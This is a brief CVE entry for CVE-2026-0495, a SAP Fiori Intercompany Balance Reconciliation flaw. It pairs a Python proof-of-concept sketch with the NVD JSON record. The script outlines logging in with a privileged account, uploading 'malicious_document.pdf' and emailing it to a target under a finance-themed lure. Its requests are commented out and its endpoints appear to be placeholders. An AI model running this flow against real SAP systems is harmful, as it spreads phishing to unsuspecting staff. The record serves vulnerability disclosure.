CVE-2026-0495

# CVE-2026-0495 PoC - SAP Fiori Phishing Attack # Requires high-privilege SAP account access import requests import json # Configuration SAP_HOST = "https://sap-system.example.com" USERNAME = "attacker_account" PASSWORD = "password" TARGET_EMAIL = "[email protected]" PHISHING_FILE = "malicious_document.pdf" # Step 1: Authenticate to SAP Fiori session = requests.Session() login_url = f"{SAP_HOST}/sap/public/logon" auth_data = { "UserName": USERNAME, "Password": PASSWORD } # session.post(login_url, data=auth_data) # Step 2: Access Intercompany Balance Reconciliation app app_url = f"{SAP_HOST}/sap/fi/icbr" # response = session.get(app_url) # Step 3: Upload phishing file upload_url = f"{SAP_HOST}/sap/fi/icbr/upload" files = {'file': (PHISHING_FILE, open(PHISHING_FILE, 'rb'), 'application/pdf')} # upload_response = session.post(upload_url, files=files) # Step 4: Send file to target email send_url = f"{SAP_HOST}/sap/fi/icbr/send" send_data = { "file_id": "uploaded_file_reference", "recipient_email": TARGET_EMAIL, "subject": "Intercompany Balance Statement", "message": "Please review attached statement" } # send_response = session.post(send_url, json=send_data) print("PoC demonstrates file upload and email send functionality abuse") print("Actual exploitation requires valid SAP credentials with high privileges")

{"cve": {"id": "CVE-2026-0495", "sourceIdentifier": "[email protected]", "published": "2026-01-13T02:15:51.830", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAP Fiori App Intercompany Balance Reconciliation allows an attacker with high privileges to send uploaded files to arbitrary emails which could enable effective phishing campaigns. This has low impact on confidentiality, integrity and availability of the application."}, {"lang": "es", "value": "La aplicación SAP Fiori Intercompany Balance Reconciliation permite a un atacante con altos privilegios enviar archivos cargados a correos electrónicos arbitrarios, lo que podría facilitar campañas de phishing efectivas. Esto tiene un impacto bajo en la confidencialidad, integridad y disponibilidad de la aplicación."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.0, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-15"}]}], "references": [{"url": "https://me.sap.com/notes/3565506", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}